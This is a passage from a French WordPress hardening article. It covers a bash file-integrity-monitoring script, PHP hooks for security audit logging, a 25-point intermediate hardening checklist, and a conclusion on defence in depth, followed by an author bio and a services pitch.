ALERT_EMAIL="security@domain.com"
TIMESTAMP=$(date '+%Y-%m-%d %H:%M:%S')

# Fichiers critiques à surveiller
CRITICAL_FILES=(
    "$WP_PATH/wp-config.php"
    "$WP_PATH/wp-settings.php"
    "$WP_PATH/wp-includes/version.php"
    "$WP_PATH/.htaccess"
)

# Vérifier les fichiers PHP dans les répertoires sensibles
NEW_PHP_UPLOADS=$(find "$WP_PATH/wp-content/uploads" -name "*.php" -newer "$HASH_FILE" 2>/dev/null)
NEW_MU_PLUGINS=$(find "$WP_PATH/wp-content/mu-plugins" -name "*.php" -newer "$HASH_FILE" 2>/dev/null)

if [ -n "$NEW_PHP_UPLOADS" ] || [ -n "$NEW_MU_PLUGINS" ]; then
    echo "[$TIMESTAMP] ALERTE : Nouveaux fichiers PHP détectés !" | \
        mail -s "[WordPress Security] Fichiers suspects détectés" "$ALERT_EMAIL"
fi

# Comparer les hashes des fichiers critiques
for file in "${CRITICAL_FILES[@]}"; do
    current_hash=$(sha256sum "$file" 2>/dev/null | cut -d' ' -f1)
    stored_hash=$(grep "$file" "$HASH_FILE" 2>/dev/null | cut -d' ' -f1)

    if [ "$current_hash" != "$stored_hash" ] && [ -n "$stored_hash" ]; then
        echo "[$TIMESTAMP] MODIFICATION : $file" | \
            mail -s "[WordPress Security] Fichier critique modifié" "$ALERT_EMAIL"
    fi
done

# Mettre à jour la base de référence
find "$WP_PATH" -name "*.php" -exec sha256sum {} \; > "$HASH_FILE.new"
mv "$HASH_FILE.new" "$HASH_FILE"

6.4 Audit logs et détection d'anomalies

Les logs d'audit WordPress permettent de détecter les activités suspectes : tentatives de connexion échouées, modifications de rôles, installation de plugins, modification de fichiers via l'éditeur intégré. Le plugin WP Activity Log offre une couverture complète des événements WordPress et peut être intégré à un SIEM externe (Splunk, Elastic SIEM, Microsoft Sentinel) via syslog ou webhook pour une corrélation avec d'autres sources de logs (WAF, serveur web, système).

// Logging personnalisé d'événements de sécurité WordPress
// À ajouter dans functions.php du thème ou dans un plugin custom

// Logger les tentatives de connexion échouées
add_action('wp_login_failed', function($username) {
    $ip = $_SERVER['REMOTE_ADDR'];
    $ua = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown';
    error_log(sprintf(
        '[WP-SECURITY] Login failed | user=%s | ip=%s | ua=%s',
        sanitize_user($username), $ip, $ua
    ));
});

// Logger les changements de rôle utilisateur
add_action('set_user_role', function($user_id, $role, $old_roles) {
    $user = get_userdata($user_id);
    $current_user = wp_get_current_user();
    error_log(sprintf(
        '[WP-SECURITY] Role changed | target=%s | old=%s | new=%s | by=%s | ip=%s',
        $user->user_login,
        implode(',', $old_roles),
        $role,
        $current_user->user_login,
        $_SERVER['REMOTE_ADDR']
    ));
}, 10, 3);

// Logger les installations de plugins
add_action('activated_plugin', function($plugin) {
    $current_user = wp_get_current_user();
    error_log(sprintf(
        '[WP-SECURITY] Plugin activated | plugin=%s | by=%s | ip=%s',
        $plugin, $current_user->user_login, $_SERVER['REMOTE_ADDR']
    ));
});

// Détecter les modifications suspectes de wp_options
add_action('updated_option', function($option, $old, $new) {
    $critical_options = ['default_role', 'users_can_register',
                         'siteurl', 'home', 'admin_email'];
    if (in_array($option, $critical_options)) {
        error_log(sprintf(
            '[WP-SECURITY] Critical option changed | option=%s | old=%s | new=%s | ip=%s',
            $option, $old, $new, $_SERVER['REMOTE_ADDR']
        ));
    }
}, 10, 3);

Point clé : Défense en profondeur

La combinaison WAF + CSP + File Integrity Monitoring + Audit Logs couvre les quatre phases d'une attaque : la prévention (WAF bloque les exploits), la limitation d'impact (CSP empêche l'exécution de scripts injectés), la détection (FIM alerte sur les modifications), et l'investigation (logs fournissent la chronologie). Aucune couche seule n'est suffisante ; c'est leur combinaison qui crée une posture de sécurité robuste.

Architecture de Défense en Profondeur WordPress Couche 1 : CDN / Anti-DDoS Couche 2 : WAF (ModSecurity) Couche 3 : Application (WP + Plugins) Couche 4 : Système de Fichiers (Permissions) Couche 5 : Base de Données (Chiffrement) Couche 6 : Monitoring Logs | SIEM | Alertes | File Integrity Détection d'anomalies et réponse aux incidents Principe fondamental Chaque couche opère indépendamment des autres La compromission d'une couche ne doit pas compromettre les couches intérieures -- principe de défense en profondeur (NIST SP 800-53)

7. Checklist de durcissement -- Niveau 2

Cette checklist de 45 points s'appuie sur les 20 premiers points du niveau débutant (non repris ici) et ajoute 25 mesures de durcissement intermédiaires. Chaque point correspond à une technique d'attaque ou un vecteur de persistance décrit dans les sections précédentes. L'objectif est de fournir un plan d'action actionnable pour les administrateurs WordPress qui souhaitent élever significativement leur posture de sécurité.

Points 1-20 : Niveau 1 (fondamentaux)

Se référer à l'article débutant de cette série pour les 20 premières mesures de base : mots de passe forts, MFA, mises à jour automatiques, suppression des plugins inutilisés, désactivation de l'éditeur de fichiers, etc.

Points 21-45 : Niveau 2 (intermédiaire)

  1. Configurer un WAF -- Déployer ModSecurity avec le Core Rule Set (CRS) ou Wordfence Pro avec les règles temps réel. Tester en mode détection avant de passer en blocage.
  2. Implémenter une Content Security Policy -- Commencer en mode report-only, analyser les violations pendant 2 semaines, puis passer en enforcement progressif.
  3. Activer le monitoring d'intégrité des fichiers -- Configurer Wordfence ou AIDE pour scanner les modifications de fichiers critiques (wp-config.php, .htaccess, fichiers core) toutes les heures.
  4. Configurer des audit logs complets -- Installer WP Activity Log et configurer l'export vers un SIEM externe. Monitorer les événements critiques : changements de rôle, installations de plugins, modifications d'options.
  5. Sécuriser l'API REST -- Désactiver l'accès REST API pour les utilisateurs non authentifiés ou restreindre les endpoints exposés aux seuls nécessaires via rest_authentication_errors.
  6. Supprimer readme.html et license.txt -- Ces fichiers révèlent la version exacte de WordPress. Les supprimer et ajouter une règle au déploiement pour les re-supprimer après chaque mise à jour.
  7. Bloquer l'exécution PHP dans /wp-content/uploads/ -- Ajouter un fichier .htaccess avec deny from all pour les fichiers PHP ou configurer Nginx pour bloquer l'exécution PHP dans ce répertoire.
  8. Implémenter le rate limiting sur les endpoints sensibles -- Limiter les tentatives sur wp-login.php, xmlrpc.php et /wp-json/ à un nombre raisonnable par IP par minute.
  9. Configurer fail2ban pour WordPress -- Créer un filtre fail2ban qui parse les logs d'authentification WordPress et bloque les IP après N tentatives échouées.
  10. Mettre en place un plan de réponse aux incidents -- Documenter les procédures de réponse en cas de compromission : isolation, investigation, éradication, restauration, leçons apprises.
  11. Auditer les mu-plugins régulièrement -- Lister le contenu de /wp-content/mu-plugins/ dans un audit hebdomadaire. Alerter sur tout nouveau fichier.
  12. Vérifier les cron jobs WordPress -- Utiliser wp cron event list (WP-CLI) pour auditer les tâches planifiées. Alerter sur les crons non reconnus.
  13. Scanner les thèmes/plugins avec des outils SAST -- Utiliser PHPStan, Psalm ou SonarQube pour analyser statiquement le code des plugins et thèmes personnalisés avant déploiement.
  14. Isoler la base de données sur un serveur dédié -- Ne pas exécuter MySQL/MariaDB sur le même serveur que le serveur web. Utiliser des connexions réseau privées et des credentials uniques.
  15. Configurer les backups chiffrés off-site -- Automatiser les sauvegardes quotidiennes chiffrées (AES-256) vers un stockage distant (S3, GCS). Tester la restauration mensuellement.
  16. Implémenter le logging centralisé -- Agréger les logs WordPress, Apache/Nginx, WAF et système dans un outil centralisé (ELK Stack, Grafana Loki) pour corrélation.
  17. Restreindre les capabilities par rôle -- Utiliser le plugin Members ou du code custom pour supprimer les capabilities inutiles de chaque rôle. Les éditeurs n'ont pas besoin de unfiltered_html.
  18. Activer Subresource Integrity (SRI) -- Ajouter les attributs integrity et crossorigin sur tous les scripts et styles chargés depuis des CDN externes.
  19. Configurer X-Content-Type-Options: nosniff -- Empêcher le navigateur de deviner le type MIME des réponses, prévenant certaines attaques XSS via upload de fichiers.
  20. Mettre en place un honeypot sur wp-login.php -- Ajouter un champ caché (display:none) au formulaire de connexion. Tout bot remplissant ce champ est automatiquement bloqué.
  21. Auditer les permissions de la base de données -- L'utilisateur MySQL de WordPress ne devrait avoir que les privilèges SELECT, INSERT, UPDATE, DELETE. Pas de GRANT, CREATE, DROP ou FILE.
  22. Désactiver REST API pour les utilisateurs non authentifiés -- Implémenter un filtre rest_authentication_errors qui retourne une erreur 401 pour les requêtes sans cookie d'authentification ou header Authorization.
  23. Implémenter DNSSEC -- Activer DNSSEC sur le domaine pour prévenir les attaques de DNS spoofing qui pourraient rediriger les visiteurs vers un site malveillant.
  24. Configurer les alertes de modification de fichiers critiques -- Au-delà du monitoring passif, configurer des alertes en temps réel (email, Slack, PagerDuty) pour toute modification de wp-config.php, .htaccess ou des fichiers core.
  25. Documenter la surface d'attaque et les actifs -- Maintenir un inventaire à jour de tous les plugins installés (avec versions), des comptes utilisateurs, des endpoints API exposés et des intégrations tierces.

8. Conclusion

Les techniques d'exploitation intermédiaires de WordPress démontrent que la sécurité d'un site ne peut pas reposer uniquement sur les mises à jour et des mots de passe forts. L'Object Injection PHP, les attaques sur l'API REST, les mécanismes de persistance sophistiqués et les escalades de privilèges via des plugins mal codés constituent un arsenal diversifié que les attaquants motivés n'hésitent pas à utiliser. La compréhension de ces techniques est essentielle tant pour les professionnels de la sécurité offensive (qui doivent les identifier et les exploiter lors d'audits) que pour les équipes défensives (qui doivent les détecter et les prévenir).

La défense en profondeur -- WAF, CSP, file integrity monitoring, audit logging, et la checklist de 45 points présentée dans cet article -- offre un cadre structuré pour élever significativement la posture de sécurité d'une installation WordPress. Chaque couche de défense apporte une valeur indépendante et leur combinaison crée un environnement où la compromission réussie nécessite de contourner simultanément de multiples protections, augmentant considérablement le coût et la complexité pour l'attaquant.

Dans le prochain article de cette série (niveau expert), nous aborderons des sujets encore plus avancés : le développement d'exploits 0-day pour les plugins WordPress, le reverse engineering de plugins obfusqués, l'évasion des WAF de nouvelle génération, l'exploitation de vulnérabilités dans le core WordPress lui-même, et les techniques de red team appliquées aux environnements WordPress d'entreprise. Ces techniques requièrent une compréhension approfondie des internals PHP et de l'architecture WordPress qui se construit sur les bases posées dans cet article intermédiaire.

Point clé : Vision globale

La sécurité WordPress est un équilibre entre fonctionnalité et protection. Chaque plugin ajouté augmente la surface d'attaque. La stratégie optimale combine : réduction de la surface (moins de plugins, API restreinte), protection proactive (WAF, CSP), détection (FIM, audit logs) et capacité de réponse (backups, plan d'incident). Référence : le framework NIST Cybersecurity Framework (Identify, Protect, Detect, Respond, Recover).

Ressources et références officielles

Documentations officielles, outils reconnus et ressources de la communauté

Ayi NEDJIMI

Ayi NEDJIMI

Expert en Cybersécurité & Intelligence Artificielle

Consultant senior avec plus de 15 ans d'expérience en sécurité offensive, audit d'infrastructure et développement de solutions IA. Certifié OSCP, CISSP, ISO 27001 Lead Auditor et ISO 42001 Lead Implementer. Intervient sur des missions de pentest Active Directory, sécurité Cloud et conformité réglementaire pour des grands comptes et ETI.

Références et ressources externes

Besoin d'une expertise en cybersécurité ?

Protégez votre site WordPress contre les attaques avancées avec un audit de sécurité professionnel

Nos Services